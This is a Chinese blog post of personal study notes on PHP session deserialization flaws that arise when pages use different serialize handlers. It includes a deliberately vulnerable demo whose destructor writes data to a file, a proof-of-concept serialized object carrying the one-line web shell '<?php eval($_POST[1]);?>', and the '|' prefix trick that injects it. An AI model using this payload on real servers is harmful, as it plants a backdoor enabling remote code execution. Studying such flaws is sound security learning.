PHP序列化之Session反序列化漏洞

本文内容主要是出各位师傅那里获取来的,主要是用于记录学习,和自己的一些心得体会。

Session反序列化漏洞
要了解这个漏洞必须知道Session序列化机制。
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

配置文件php.ini中含有这几个与session存储配置相关的配置项:

session.save_path=""   --设置session的存储路径,默认在/tmp
session.auto_start   --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   --定义用来序列化/反序列化的处理器名字。默认使用php

自己觉得:session形成漏洞的原因就是因为配置不正确或者是序列化和反序列化的方式。如果一个是使用php_serialize,而另一个使用php读取Session。因为他们的格式不一样,自己就可以伪造格式,从而可以控制数据。

例子:
下面是师傅提供的一个demo,自己改了一下。

/*session.php*/
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['nice'] = $_GET['nice'];
?>
    /*test.php*/
    <?php 
    ini_set('session.serialize_handler','php');
    session_start();
    class nice{
        var $a;
        function __destruct(){
            $fp = fopen("D:\shell.php","w");
            fputs($fp,$this->a);
            fclose($fp);
        }
    }
    ?>

可以看到俩个页面使用了不同的序列化方法。
我们的目标就是实例一个$a让$a=<?php eval($_POST[1]);?>,之后写入shell.php里面

所以我们就要访问session.php让/tmp存储可以用php反序列化的poc。

我们先随便在session.php页面随便传递一个值。
?nice=abc
写入/tmp里面的是


因为test.php采用php的序列化来读取session的值。
所以我们可以控制abc的值来构造满足PHP。

所以poc

<?php
     class nice{
        var $a='<?php eval($_POST[1]);?>';
    }
$a=new nice();
echo serialize($a);
?>
#O:4:"nice":1:{s:1:"a";s:24:"<?php eval($_POST[1]);?>";}
我们只需要在序列化前面加个 |
然后访问test.php就成功写入一句话。

经过session.php序列化存放的是

a:1:{s:4:"nice";s:56:"|O:4:"nice":1:{s:1:"a";s:24:"<?php eval($_POST[1]);?>";}";}

之后成功生成文件!!!

参考链接
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md#php-session-%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%84%E7%90%86%E5%99%A8%E8%AE%BE%E7%BD%AE%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%BD%93%E5%B8%A6%E6%9D%A5%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3
https://blog.csdn.net/nzjdsds/article/details/82703639?utm_source=app
https://www.jb51.net/article/116246.htm
https://www.freebuf.com/news/202819.html

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值